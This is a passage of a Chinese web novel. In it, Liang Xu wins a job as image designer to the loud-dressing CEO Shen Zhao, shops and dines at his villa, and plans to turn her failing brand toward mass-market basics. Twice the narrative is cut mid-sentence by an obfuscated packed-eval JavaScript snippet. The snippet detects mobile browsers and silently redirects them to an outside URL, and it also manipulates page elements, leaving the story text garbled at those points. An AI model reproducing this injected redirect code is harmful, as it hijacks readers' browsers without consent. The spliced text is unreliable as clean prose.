沈钊送了生鲜老板出去,回来坐在会议室里沉思了良久。他掏出手机打开前置摄像头,对着自己照来照去,似乎在反省自己的形象是不是真的拖了公司的后腿。 李浩进屋来,无可奈何地说:“上门的财神爷走了,你说怎么办?” 沈钊瘫在椅子上,显得有点沮丧,说:“哎,他就是毛病多。我穿这身怎么了,我心里是很尊重他的呀,穿什么难道就这么重要吗?” 李浩对他是真的没办法,疲惫地说:“你这个形象真的让人感觉不靠谱。都吃了好几次亏了,还不知道改。换身衣裳的事,有这么难吗?” 沈钊理直气壮地说:“不能接受我的穿衣风格,怎么能接受我的灵魂?” 李浩仿佛听了天大的笑话,噗嗤一声笑了。沈钊说:“笑什么?我看出来了,你跟他们一样,嘴上说崇拜我,其实只是看中了我的钱,根本不认可我的灵魂!” 他挥着手,感情充沛地冲发小抱怨,大幅度的动作跟他的衣着一样夸张,仿佛站在话剧舞台的中央,有聚光灯打在他的身上。他英俊的面容搭配这样一身怪异的衣着,浑身上下透着一股强烈的不和谐感。 李浩根本不吃他这一套,冷淡地说:“你的灵魂太骚动了,别说我了,这样下去谁也受不了你。” 他叹了口气,尝试做最后一搏,说:“晚上七点我在星云工作室给你的形象设计师进行复试。你要是感兴趣就来看看,不来的话我就替你做主了。” 李浩说完就走了。沈钊还在生闷气,良久嘟囔道:“我凭什么不去。你知道我喜欢什么风格么就替我挑,我要选个跟我差不多的。” 4. 第四章 由于专业素质过硬,梁絮在上午的初试里从一群竞争者当中脱颖而出。晚上七点,她跟另外三个应聘者被安排去了宋星的星云工作室,等待李浩给她们进行复试。 星云工作室是新一代时尚教母宋星的地盘,星云旗下包括男女服装、配饰、时尚杂志等项目。她的品牌跟沈钊的电商平台有合作,李浩打电话要借她的工作室面试,宋星立刻就答应了。 李浩之前曾经试图请宋星给沈钊做形象设计,然而宋星忙的要死,没功夫给他操这份心。再者她嫌沈钊的审美太糟糕,自我意识又太强,生怕被他传染。 李浩还记得宋星拒绝时那个惆怅的样子,她深深地吸了口烟,双眉紧锁着说:“不行啊,李总,我们这行是靠审美吃饭的。我怕还没把他塑造好,先被他带到沟里去了。我的事业刚起步,经不起折腾,你还是找别人去吧。” 李浩接连被几个知名的时尚达人拒绝之后,深感自己为了沈钊操碎了心,无奈之下只好上网招聘能人。重赏之下必有勇夫,果然让他找到了几个愿意拿生命去填补沈钊那如同鸿沟一般审美的人,让他深感欣慰。 星云工作室里名牌云集,很适合做服装穿搭的考场。宋星提供了四个跟沈钊身材差不多的男模,让梁絮等人给他们搭配。另外三个设计师分别叫Vivian、Rebecca和Kevin。等待的空档里,四个人站在一起,彼此都很介意另外的几个竞争者,却又假装毫不在意的样子。 几个人满口洋泾浜英语,从里到外透着一股跟国际接轨的范儿。梁絮站在一边,因为不适应这种跨服聊天的形式,显得跟他们格格不入,只能看着他们聊的热火朝天。 Rebecca:“你这身衣服真的好fashion哦,特别有蒸汽朋克的feel。特别是这个bow的元素,还有上面的波点,真是太cute了啦。” Kevin:“谢啦,我也很喜欢这个accessory。你这双高跟鞋也好好看哦。搭配这个smokeyeye真的再合适不过了。” Vivian:“对啊,这双鞋气场好足,你一穿出来就slay全场了,是大H的对不对。我夏天去法国的时候,在店里见过这双鞋子,不过我买了另外一双,黑色的,更酷一点。” 几个人嘴上互相恭维,实则充满了孔雀开屏的傲气,聊旅行见闻、说自己去过哪里,为什么知名人士服务过,暗中都想盖过别人一头,仿佛还没应聘成功就已经拿到了上流社会的入场券。 梁絮刚从一段失败的感情中走出来,想跟过去那种物欲横流的人生划清界限,看到犯矫情的人就烦躁,互通姓名的时候说:“我英文名Tracie,你们可以叫我翠喜儿。” 烈焰红唇的Rebecca感觉受到了梁翠喜粗俗的diss,翻了个白眼,转身跟Vivian聊天去了。 李浩坐在沙发上,员工给他送了杯咖啡过来。李浩看了眼表,七点整,沈钊没来。他想沈钊大约是不来了,于是说:“复试的题目是开例会的装扮。半个小时内每个人给自己的模特搭一身衣服,开始吧。” 梁絮心想:“开例会需要略显正经但又不能太正经的打扮。毕竟员工都是自己人,有点亲和力还是好的,大体就是休闲西装一类的方向,题目倒是不难。” 其他几个人的想法跟她差不多,挤在一起抢衣服。Vivian跟Rebecca撕破了塑料姐妹花的情谊,同时抢夺一件西装,扯着衣服的两根袖子拼命往两边扯。 Vivian横眉立目道:“你放手!” Rebecca不甘示弱:“你怎么不放手,明明是我先看上的。” Vivian坚持道:“你不要胡说好不好,是我先拿到的!” 李浩觉得简直有辱斯文,皱起了眉头,在心里给这两个人都减了十分。 宋星也看不下去看了,轻咳了一声,提醒道:“那衣服是范思哲的,十万一件,扯破了要赔偿哦。” Rebecca只好松了手,Vivian拿到了衣服,跺着高跟鞋趾高气昂地走了。梁絮把衣服看了一圈,发现宋星的衣服搜罗面挺广,休闲、正装、朋克、运动等类型都有。她拿起一件休闲西装给男模比划了一下,正在考虑该怎么搭,忽然见有人大步走了进来。 那人穿着一件花红柳绿的衬衫,搭配一条黑中带闪的闷骚运动裤,看打扮像是要去夜店蹦迪,然而眉宇间又有种统帅千军万马的气质。让人感觉像他这么虎的人,穿什么都像是身披甲胄,难怪他不把穿着打扮放在心上了。 梁絮知道这人是谁了——当今江湖中年轻一辈有头有脸的人物里,除了沈钊,还有谁能有这么糟糕的衣品?又有谁有这么霸道的气质! 李浩站起来说:“你可算来了,等会儿亲自挑一个吧。” 沈钊在沙发上坐下,翘起了二郎腿。他像广大直男一样,对这种过于精致的地方有种天然的不耐受,一会儿看手机,一会儿百无聊赖地东张西望。 梁絮感觉他是个充满活力和野性的人,由于精力过于旺盛无处释放,所以选择了用衣着惊人这个方式来展现自己的与众不同。 梁絮见了他本人,觉得这人特别有想法,按套路来不一定能够抓住他的眼球,必须走点不寻常的道路。 片刻众人搭配完毕,Vivian走韩式花美男路线,给模特外搭白色休闲西装,内穿黑色高领毛衫,下搭深灰色牛仔裤,休闲皮鞋。手腕上戴一块简洁的皮带手表,头发垂在额前,气质知性而又温柔,让人一见就心生好感。 沈钊坐在沙发上看着男模,摸着下巴一脸便秘的表情,好像有点不满又说不出什么来。 李浩点头道:“下一个。” Rebecca钟意的西装被抢走了,干脆走了全正装路线,他给模特挑了一套星空蓝的西装,内搭一件黑色的衬衫,白色领带,脚穿一双鳄鱼皮鞋,手上戴一块金属腕表。头发打摩丝梳了个背头,给人的感觉霸气外露,仿佛浑身贴满了老子有钱身价上亿不服怼死你之类的标签。 沈钊打了个呵欠,越发觉得无聊了。 Kevin带着他的模特走了出来。模特穿着件肉粉色的衬衫,外搭一个灰色的西装马甲,下身是条带方格的哈伦裤,穿一双运动鞋,头发朝天拢起来,弄了个莫西干头。 沈钊扬了扬眉毛,似乎对这个有点兴趣,然而最终还是皱了眉头,对李浩说:“我怎么感觉像洗剪吹,有点娘气啊。” 李浩也有同感,笑了一下说:“还剩最后一个,那个谁……Tracie?” 梁絮带着她的模特走了出来,看到那个模特的时候,李浩的脸色铁青,沈钊却笑了。 模特上身穿着一件桃红色的皮夹克,肩膀上带着几个榴莲似的铁刺,口袋上带着大量的皮流苏。内搭黑色紧身背心,靠近腹部的地方撩起来半截,露出紧致的腹肌。下身穿了条黑色破洞皮裤,露出膝盖,脚上是一双打满铆钉的大头皮鞋。 模特的头发两边剃掉,中间的头发用啫喱水抓起来朝后梳,是个改良的飞机头。 这个打扮与其说是要主持会议的霸道总裁,不如说是个要开演唱会的摇滚歌手。沈钊眼里都是兴奋,当即站起来宣布道:“很好,我很喜欢,就你了!” 李浩脸都绿了,一把拉住沈钊,说:“等等,你过来,咱们商量一下。” 沈钊仿佛找到了自己的灵魂伴侣,十分兴奋,一边走一边回头对梁絮道:“你叫什么名字?” 梁絮洋气地说:“我叫Tracie梁。” 李浩搂着沈钊的脖子把他拽出去了。梁絮听见他俩在外头争吵,李浩说:“咱们花钱雇人是要塑造你和企业的形象的,你挑的那个是合你口味了,那么夸张,让她设计和你自己随心所欲地穿有什么区别吗?” “有区别啊,”沈钊理直气壮地说,“她能领会我的思想,而且可以完美流畅地表达我的意思。我觉得她就是能理解我的人!” 李浩炸毛了,说:“少扯那些没用的,你给我从Vivian和Rebecca里挑一个,不准选那么不靠谱的!” 沈钊感觉自己骚动的灵魂被那种一本正经的穿搭关进了铁笼子里,挣扎着放声咆哮,浑身上下都很不爽。他断然道:“我不管,我决定了,就选那个什么……翠翠梁?梁翠喜!” 他说着大步走进来,跟梁絮握了手,说:“恭喜你被录取了。本总裁对你很满意,明天就来公司入职。” 其他几人都像看妖艳贱货一样看梁絮,用眼神谴责她这种枉顾审美迎合土嗨老板的行为。 梁絮笑靥如花,心里想:“我要穷疯了。反正一个月给两万,我管他什么审美呢,我就丧心病狂地拍他马屁了,你们不服来咬我啊!” 沈钊晚上还有事,敲定了人选之后就先走一步。李浩开车送梁絮回家,路上不住叹气,感觉今天晚上这个结果简直一言难尽。 外头下起了细雨,梁絮看着车窗外五光十色的霓虹灯,灯光被水模糊了,显得更加迷离。 “梁小姐,”李浩开口道,“初试的时候我对你的印象很好,觉得你的搭配非常有层次感,而且很符合雇主的身份和要参加的活动,可我没想到你在复试当中这么……这么……” 梁絮笑道:“这么放飞自我?” 李浩看了她一眼,仿佛是说:“你也知道你放飞自我?你都快跟你的土嗨老板比翼双飞到外太空去了!” “李总,我知道你担心什么。”梁絮淡定地说,“首先我得说明一点,我大学的时候获得过设计大奖,我的审美是正常的。” 李浩哦了一声,对她的发言不是很信任。梁絮继续说:“我也明白咱们公司对我这个职位的需求。您是希望我帮沈总提高穿衣品味,让他能够适应各种社交场合,提高企业的形象。” 李浩又嗯了一声,觉得她这几句话说得还像个正常人。梁絮说:“但是我觉得人的审美不是一天形成的,就算沈总的衣品堪忧,纠正也不是一天就能完成的。他很自信,防御心理也特别强,如果一上来就是一副要改造他的态度,很容易被他排斥。我希望能先让他接受我,然后再循序渐进,把正常的审美一点点给他渗透进去。” 李浩听了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309947|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这番话,心里稍微舒服了一点。然而她的渗透计划能不能成功,那又是另一个艰巨而长远的任务了。 梁絮总结道:“反正就是,先哄着,慢慢教,能提高一点是一点。” 李浩叹了口气,觉得反正都已经这样了,先凑合着看看吧,不行再换人。 他说:“行吧,你挺有想法的,那就试试吧。” 梁絮回了工作室,跟白小飞说自己被录取了。白小飞正在穷兮兮地吃泡面,听了这个消息,顿时跳起来跟她击了个掌,兴奋地说:“太棒了,我就知道你能行!” 梁絮也两眼放光,激动地说:“哈哈哈哈一个月两万呢!给有钱人干活真开心啊!” 白小飞忍不住要八卦,道:“见到总裁真人了?感觉怎么样?” 梁絮想了想,说:“人长得挺帅的,身材也特别好,不过就是审美有毒……哎,世界上没有十全十美的人,他要是审美跟上了,还开两万找我干什么。” 白小飞道:“什么时候上班?” 梁絮道:“明天早晨就去报道,我得睡美容觉去了,哈哈哈美好的生活我来了!小钱钱我来了!” 次日一早,梁絮去了沈钊的公司报道,她去人事部办了入职手续,领了工牌,去见沈钊。沈钊坐在高背椅上,依旧穿着他的花衬衫和运动裤,翘着二郎腿说:“梁小姐你好,欢迎你加入我们公司。今后本总裁的形象就交给你来设计了,希望你能够好好地完成任务。” 梁絮说:“沈总放心,我一定用心工作。” 沈钊满意道:“很好。我看过你的资料了,名牌时装学院毕业,跟人合伙创办了个人品牌飞絮,工作室做的怎么样了?” “情况不太好,”梁絮照实回答,显得有些无奈,“我精通设计,但是不太擅长经营。” 沈钊倒是挺善解人意,道:“人无完人,我擅长经营,但是不懂穿搭设计。咱们互相指教吧。” 梁絮觉得他除了审美糟糕之外,别的方面还是挺不错的,尤其是跟人相处起来,有股亲和力。她印象中的霸道总裁都是暴躁的缺心眼,看来也不能一概而论。 她端详沈钊的模样,发现他笑起来时眉目舒展,十分俊朗。虽然这身打扮实在减分……梁絮尽量把目光停留在他脸上,反正……就努力忽略吧。 与此同时,沈钊也在看梁絮的身材。梁絮穿着一身灰色的西装,虽然不怎么显曲线,然而她腰细腿长,显出一股干脆利落的劲头,让人看了就舒服。 沈钊欣赏地说:“你们做服装设计的不但有灵气,身材也好,各个都是衣服架子。” 梁絮露出一个职场假笑,礼尚往来地说:“沈总的身材也很好,只要稍加修饰,一定能锦上添花。” 沈钊对于锦上添花这个词很满意,这个小姑娘能认清他本来就帅的本质,知道她的工作只是衬托,而不会抢了自己的风头,这样就很好。 沈钊说:“你的工作就是跟着我,给我设计穿搭和发型。这样你每天早晨七点钟之前必须赶到我的住处,偶尔还要跟我住在一起,随时有可能出差,你家人有意见没有?” 梁絮还没回答,沈钊又补充道:“你放心,兔子不吃窝边草,我不是那种没见过女人的人,不会随便对你出手的。” 梁絮觉得这话说的有问题,不会随便出手,难道会慎重考虑之后下手? 她不想在他面前输了阵,不卑不亢地说:“沈总的身价这么高,就算对我出手,也不是我吃亏。要提防也是沈总该提防我才是。” 沈钊哈哈大笑道:“你挺有意思的。说正经的,做这份工作你爸妈同意吗,你有男朋友吗?” 梁絮迟疑了一下,还是说了实话:“我经济独立之后爸妈就不干涉我的生活了。我刚跟男朋友分了手,没有人介意我住在哪里。” 沈钊觉得她这个回答略显凄凉,手指头点了点桌子,似乎想要安慰她两句,又不知道该说什么好。他从怀里掏出钱包,从里头抽出某银行的钻石信用卡,放在桌上道:“这张卡的额度三百万,你拿去给我买衣服,需要什么就买什么,不用跟我申请。” 梁絮脑子里叮的一声响,听见系统冰块撞击似的声音,无比悦耳。 恭喜宿主完成任务,赚钱,奖励生命值一周。 梁絮本来以为得拿到头一个月的工资才能算是赚到钱了,没想到拿到了沈钊的信用卡也算过关。不管怎么样,她又获得了一百六十多个小时的生命,简直让她幸福的冒泡。 梁絮拿着钻石卡,整个人像打了鸡血一样,异常兴奋。沈钊见惯了女人的这种表情,知道这是要疯狂血拼的前兆,提醒道:“买东西记得留发/票,我要对账。” 梁絮立正站好,一副要冲锋陷阵的态度说:“是,我这就去采购。” 沈钊说:“等会儿我把我的住址发到你手机上,晚上记得买点锅底和羊肉片回来,我要吃火锅。” 梁絮有点傻眼,说:“我还得管买菜?” 沈钊打了个呵欠,百无聊赖地说:“那当然,要不然一个月给你两万呢,我的生活你得全方面负责,去吧。” 5. 第五章 梁絮揣着卡,从公司大门出去,下意识要去挤地铁。她走到了地铁口,才想起来自己现在是在为霸道总裁购物,不用给他省钱,于是在路边拦了辆计程车,豪情万丈地说:“去王府井!” 她到了地方,脑中迅速列了个单子,先给他买基本款,衬衣、西装,领带,颜色也是保险的黑白灰色多一些。她观察到沈钊喜欢深蓝色,于是给他买的衣服差不多都在这个色调里打转。 她逛了一整天,买了五件衬衣,七条领带,两套西装,两件风衣,一件大衣和两双鞋。霸总穿在身上的东西不能掉价,自然都是名牌,一共花了九十多万。买完衣服,她又去超市买了沈钊要吃的羊肉片和锅底,金针菇、大白菜、粉丝、鱼丸等东西,费劲地打了个车运回去。 沈钊家住在海淀区某别墅小区里,三层的双拼别墅带地下室和阁楼,七百多平,他的好基友李浩住在隔壁。梁絮站在他的豪宅面前,看着花园和别致错落的建筑,感受到了扑面而来的金钱气息,心中充满了纯洁的羡慕。 傍晚五点,沈钊还没回来,家政阿姨倒是在。她给梁絮开了门,把买来的食材放进冰箱里,一边说:“你来晚了,饭我都已经做好了,火锅明天再吃吧。” 梁絮在她的指点下,找到了沈钊的卧室,把今天的战利品运了进去。 沈钊说要对发/票,梁絮便把购物袋堆在一边,等他检查。 她刚休息了片刻,忽然见沈钊发了个短信过来,说:“到家了吗,记得帮我整理一下衣橱啊。” 梁絮站起来,见他房间里有个衣帽间,便开始帮他收拾整理。 她打开灯,衣帽间的架子上放着各种颜色的墨镜,有猫眼形状的、有蒸汽朋克样式的,也有飞行员镜,琳琅满目的虽然多,但是造型大多夸张,不适合日常戴。 梁絮又看他的鞋,发现都是带铆钉的、漆皮的,要不然就是机车靴或者是运动鞋,颜色也大多是荧光色,满脸写着不吸引人注意会死。 梁絮打开他的衣柜,把衣服拿出来一件件地归纳整理了,发现衣服虽然都是名牌,但大多花里胡哨,大碎花小碎花、骚包的波点、狂野的豹纹,还有一件居然是透视装。 梁絮感觉发现了不得了的东西,用两根手指头挑着,把那件衣服拿起来在胸前比量了一下,细密的网格后面一览无余。她想象着沈钊穿上它,胸前露出两点的模样,打了个寒战。 这是情趣内衣吧……他没穿出去过吧,他不至于这么没数吧? 她看着这些花里胡哨的东西,觉得他不是瞎,就是不安分。 其他直男的审美虽然糟糕,但是人家知道怎么穿不出错。跟程序员似的,千篇一律的格子衬衫加西装裤,虽然不出彩,也不至于成为群嘲的对象。 沈钊不是没有审美,是太过了,过于骚包。 像他这么自恋的人,不能允许自己埋没在人群里,非要让人注意到他不可。 梁絮觉得有点心累,不知道这人受过什么刺激,非得用这么作妖的方式博取人的关注。 她收拾完了东西,准备下班回家了。这时候沈钊回来了,他一脸冷淡,把梁絮当成空气。梁絮站在一旁,礼貌地说:“沈总,给你买的东西我放卧室里了,小票在对应的袋子里。” 沈钊没什么兴趣地哦了一声,站在玄关,背对着她展开了双手,仿佛要拥抱空气。梁絮怔了一下,这才意识到霸总是让她帮忙宽衣。 梁絮上前帮他脱了西装外套,心里吐槽他架子大的要死。家政阿姨不住家,收拾完了卫生,回自个儿家去了。 梁絮也打算走,沈钊坐在餐厅里没开灯,托着腮看着桌上的饭,幽幽地说:“不是说要吃火锅吗,怎么又给我做酸菜鱼?” 梁絮说:“我回来的时候阿姨已经把饭做好了。” 沈钊低头看了一眼表,六点十分。他说:“你吃饭了吗?留下来吃点?” 梁絮客气地说:“不用了,家里还有事……” 沈钊说:“什么事能比工作重要。我还没批准你下班,过来给我盛饭。” 梁絮对他的好感度蹭蹭地往下降,越发觉得他像个会摆谱的二百五了。沈钊把碗朝她那边推了一下,催促她来服侍自己。梁絮只好去厨房洗了手,打开灯站在桌边,像个伺候地主家傻儿子的丫鬟似的,给他盛了满满一碗米饭,又盛了一碗鱼汤。 沈钊打开旁边的拌饭酱,挖了一勺子抹在米饭上,捧起碗开始往嘴里狂扒,是碳水爆炸的吃法,对菜却一筷子也不碰。他吃了片刻,看了站着的梁絮一眼,说:“你也一起来。” 梁絮道:“不了,我家远,明天还得早起……” 沈钊道:“陪吃也是你的工作,赶紧的,坐下。” 梁絮头上青筋直爆,心想合同上没这条啊,你一会儿加一个义务的,该不会想耍流氓吧。 屋里就孤男寡女俩人,梁絮对他的人品完全不了解,心里不免紧张。她暗下决心,如果他敢对自己动手动脚,她就脱下高跟鞋敲爆他脑壳。 沈钊明显对她没什么兴趣,闷着头一直吃饭。梁絮象征性地给自己盛了点饭,吃了一口米饭,夹生的。她又吃了一块鱼,咸的她怀疑人生。 她差点当场把鱼喷出来,捂着嘴去了厨房,吐在了垃圾桶里。 沈钊笑呵呵地看着她,明知故问地说:“怎么啦?” 梁絮说:“怎么会这么咸?” 沈钊仿佛已经习惯了,悠然地说:“这个阿姨做饭就是这样,年纪大了味觉迟钝,说了也没用。反正我大多数时候都吃健身餐,水煮青菜叶子鸡胸肉不放盐,她做的好不好吃对我来说都没什么影响。” 梁絮觉得这样太痛苦了,说:“您怎么不换个好点的家政?” 沈钊说:“她有强迫症,打扫卫生极其干净。而且做饭特别像我妈,让我有种家的感觉,偶尔吃两口也挺好的。” 梁絮心想:“那你的家也太不温馨了,看来令堂做饭相当一般啊。” 沈钊要维护他妈似的,又补充道:“我妈在中科院搞科研,研究高能物理。像她那种高知,肯在百忙之中给我做饭就很不错了,要求不能太多。” 梁絮同情地点了点头,心想:“太可怜了。” 她随即反应过来,觉得自己是吃饱了撑得感情泛滥。自己穷的一贫如洗还去同情人家,光看见有钱人微不足道的痛苦了,有钱人的快乐是她能想象得到的吗? 两人吃完了饭,沈钊拿着碗去厨房洗了,顺便收走了她的碗。 梁絮还以为他要使唤自己洗碗,没想到他这么自觉,登时愕然了。 她看着沈钊在厨房洗碗的背影,心想:“投票选他TOP10想嫁的女同胞们,能想象你们的男神吃完饭后会帮员工洗碗吗?这个场面要是拍下来放到网上去得涨多少粉儿啊?……不对,要是被人知道自己是那个头一次共进晚餐就胆敢让沈霸霸洗碗的小妖精,自己非被他女友粉的唾沫星子淹死不可。” 沈钊不但会洗碗,还会用洗洁精,还知道用钢丝球,洗完了还会清理水槽,一边干活还一边哼歌……梁絮一副没见识的模样看着霸道总裁的居家生活,活像个小报记者。 沈钊洗完碗,回头见她还愣在客厅里,扬起一边眉毛说:“你怎么还不走?” 梁絮啊了一声,还没回过神来。沈钊笑了,说:“雇你的时候看你挺机灵的,怎么这会儿傻乎乎的。赶紧走吧,再晚天就黑了。” 梁絮出门坐地铁回了家,经过街道口店铺林立的商业街,饭馆里热腾腾的香气冒了出来。她忍不住吞了下口水,后悔刚才没在霸总家多吃两口夹生饭。 她想起自己濒临破产的经济状况,犹豫了一下,还是没去买从前爱吃的韩式炸鸡。她转身去了隔壁的便利超市,花了九块八毛钱买了一颗打折的大白菜和两把干面条,一边盘算着如果自己花沈霸霸的信用卡吃饭,算不算挪用公款? 一般员工在外面跑业务都有饭补,一天花销在三十块钱以内应该不过分。 总裁也有各式各样脾气的,有的花天酒地,有的极度自律,也有的越有钱越抠门、把一分钱看得比天还大。 鉴于她跟新上司还不熟,梁絮决定暂时还是不要挖他的墙角了……而且她从前就是因为依靠男人过着挥霍无度的生活,导致人生变得一塌糊涂。如今既然决心要做个女强人,那自然是要公私分明的。她这么想的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309948|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同时,饥肠辘辘的身体里忽然涌出了一股力量。 梁絮抬起了高傲的头颅,仿佛身披甲胄,踩着锋利的高跟鞋回了家。 白小飞正在工作室画设计图,听见钥匙开门的声音,出来迎接道:“你回来啦,工作顺利吗?” 梁絮把高跟鞋甩在门口,长舒了口气,说:“挺适合我的,逛商场帮人买东西,解放天性了。” 白小飞便笑了,接过她手里的白菜,说:“我给你下碗面吧,冰箱里还有鸡蛋,给你荷包一个。” 厨房里油烟机轰轰直响,白小飞用葱花炝锅,开始做饭。工作间开着灯,梁絮见桌上堆着些草图,还有白小飞整理和打印出来的不少资料。 她坐在桌边上看了一会儿,发现白小飞工作挺认真,他花了一天的时间收集了国际和国内服装流行的趋势,对这些信息进行了分析总结,归纳出了几个大方向。 白小飞端着面条过来,见梁絮已经在看他整理的资料了,说:“我接下来打算照这个方向使劲儿,你看行不行?” 梁絮挺感激他的努力,然而她活过一回,别的或许不知道,对于接下来几年的潮流还是很清楚的。她摇了摇头,说:“方向不对。” 白小飞一怔,有点不服气,把碗放下了。他说:“怎么不对,今年四大时装周的倾向都在往赛博科技的调调上靠拢,弱化性别差异,极简的剪裁,大量应用金属和电子元素,黑白灰高级色的色调,你看这发布会……” 梁絮扫了一眼,态度有点冷淡,说:“那你喜欢这种风格吗?” 白小飞迟疑了一下,说:“其实也……没什么兴趣,但是咱们做服饰的,得抓住流行的脉搏嘛。” 梁絮道:“你自己都没兴趣的事,做也做不好。再说国际流行什么的,都是上流社会追求的东西,咱们现在穷成这样,要追求的不是空中楼阁。” 她环顾了一眼他们家徒四壁的工作室,冷静地说:“咱们得追求温饱,先保证飞絮活下来再说。” 白小飞不知道她怎么忽然褪去了浮躁的气息,开始认真考虑这些接地气的事了。他仿佛不认识她似的,眨了眨眼。 梁絮坐在写字台边,跟在战壕里的战友讨论作战方案似的说:“你坐下,咱们认真开个会,飞絮得重新定位。” 白小飞扯了个凳子倒骑着,双手搭在椅子背上,道:“你说。” 他从小就给梁絮当跟班,特别愿意听她指挥,有点心总是献宝似地先给她吃,有架也冲上去帮她打——跟人动手的时候,他都在前头充当肉盾角色,梁絮则负责输出,抡拳头捶、抬脚踹,甚至用牙咬,总之极端泼辣凶残,是他们那一群孩子里出了名的女大王。 后来她长大了,把头发留起来了,穿上了花裙子,就告别了假小子的定位,开始改走淑女路线。白小飞依旧跟在她身边,贯彻她的每一个指示,但他还是更喜欢梁絮野性十足的那一面。 如今见她性格中强硬的一面苏醒了,白小飞兴奋的两眼放光,觉得这才是他欣赏的女孩本来的样子,太带劲了! 梁絮被他炯炯的目光注视着,感觉自己面前仿佛蹲着一条兴奋的大狗,随时准备扑出去叼飞碟。 梁絮首先沉痛检讨,说:“之前我太浮躁,妄想一步登天,对于咱们品牌的定位不切实际,导致连年亏损。我向咱们飞絮集团的所有的董事、员工以及粉丝进行深切的道歉。” 唯一的员工、董事会成员以及粉丝白小飞同志笑了一下,大度地说:“没事梁总,我代表所有人接受你的歉意。” 梁絮一扫脸上的阴霾,充满魄力地说:“接下来咱们品牌的首要目标就是生存。怎么样才能在这个竞争激烈的市场上活下去?要占领市场份额,在保证质量的基础上,多做基本款。大众是咱们的衣食父母,她们喜欢的就是咱们的追求!简单地说,就是要做淘宝爆款!咱们要成为服装批发界的王者——先定一个小目标,三年内,我要让门口那条街的夜市地摊上,都铺满咱们的货!” 白小飞一瞬间什么都听不见了,只有四个字在脑内打转,淘宝爆款淘宝爆款淘宝爆款淘宝爆款…… 他诧异地看着梁絮,怀疑她被什么人魂穿了。 6. 第六章 白小飞满脸写着愕然,很难想象以前满脑子想着要登上时尚界顶端的女人怎么突然会想当地摊女王,觉得她接地气的过了头。 一个人的思想突然产生这么大的转变,不是受了极大的刺激,就是脑子出了问题。白小飞狐疑地看着她,觉得梁絮最近实在让人难以理解。 他迟疑道:“你……没事吧?” 梁絮道:“我挺好的啊,这些都是我经过认真思考之后得出的结论,字字珠玑,你认真听了吗?” “听见了,感觉你忽然就大彻大悟了。”白小飞心悦诚服地说,“但是我觉得这个路线跟你以往的想法背道而驰,能给我说说您是怎么做出了这么大的改变吗?” 梁絮总不能说自己是被系统胁迫,三年内非得赚到三百万不可,只能说:“挨了社会的毒打呗。这几年折腾下来山穷水尽了,手里一毛钱也没有。多饿几顿,就知道自己以前做人做事不靠谱,该受眼下的这些罪。” 她虽然说得轻描淡写,但是眼里却带着一闪而逝的痛苦,认真地说:“感谢社会爸爸教我做人,该早一盆冷水泼我头上的。” 白小飞其实也挺有浪漫主义的想法,要不然也不会陪着梁絮赔本折腾这几年了。他有点心疼,安慰道:“别这么说你自己,你已经很努力了。” “努力的方向不对有什么用,”梁絮说,“我这几年这么个瞎折腾法,不但对不起自己,也连累了你和我的家人。说什么都是虚的,以后我得多挣钱,给你们买好吃的、买大房子住,让大家都过上好日子。” 白小飞知道她说的不错。自己家里也催了好几次,让他换个靠谱的工作,赶紧成家,别再这么耗下去了。他和梁絮的梦想已经成了人生的累赘,要是再赚不到钱,实在没颜面回去面对江东父老。 他说:“那接下来要怎么样?” 梁絮把桌上的资料一股脑扔进了废纸篓,说:“主攻女装,设计基本款。二十五到四十五岁之间的消费者购买力最强,咱们就主攻这个市场。” 白小飞说:“所以你不但要做淘宝爆款,还要专做中青年妇女的服饰?” 梁絮说:“对头。” 白小飞说:“那……我得恶补一下,这方面的行情我没怎么了解过。” 梁絮说:“我知道,我来给你讲解一下。中青年阶段的市场对设计有要求,接下来几年主要流行九十年代复古风,以前的港片看过吧,随便看看就是一场时装秀,包括宽肩西装、男友裤、各种衬衫,元素流行波点的、条纹,纯色则选明度低饱和度高的……” 她边说边搜TVB的电视截图,给他看手机。白小飞觉得她过度自信了,斩钉截铁的模样好像切实经历过这场流行似的。他打断道:“等一下,你怎么这么确定?” 梁絮被他问住了,迟疑了片刻才道:“我时尚嗅觉敏锐嘛。流行是个轮回,我看这几年的淘宝爆款有这个发展趋势。” 白小飞觉得她的解释站不住脚,但是对这个发展方向还是认可的。 梁絮后悔没能背过几组彩票的号码来大赚一笔,然而对未来几年大众服装市场的发展趋势还是很清楚的,什么款式能流行,她心里都有数,只要抢先做出来,就能占据市场。这个金手指虽然不够大,但也算是她的优势了。 梁絮跟白小飞聊了大半天,确定了飞絮接下来的定位。白小飞打算认真复习九十年代复古风潮,先做一批设计图出来给梁絮过目。 会议开完,梁絮这才感觉得肚子饿了。她端起碗来,发现面已经坨了。白小飞说:“我给你重新煮一碗。” 梁絮说:“不用。”她端着碗去厨房,打开一罐豆腐乳拌在上头,倒了点热水烫了一下,狼吞虎咽地把饭吃了。 白小飞看着她吃饭的模样,心里不太好受,不能总过这种穷日子,是该狠狠地努力一把了。梁絮对他来说很重要,她活的好,自己心里才能舒坦。 梁絮回房翻看自己的系统,发现之前做过的那个赚钱的任务,并没有归到已完成的项目里去,而是绿油油地一直待在代办一栏里。 她发现之前的任务都是蓝色的,这个绿色的好像有点不同寻常。她问道:“绿色任务是什么意思?” 系统说:“蓝色代表一过性普通任务。绿色代表长期存续任务,每次完成都会获得奖励。金色代表稀有任务,奖励也十分丰厚。” 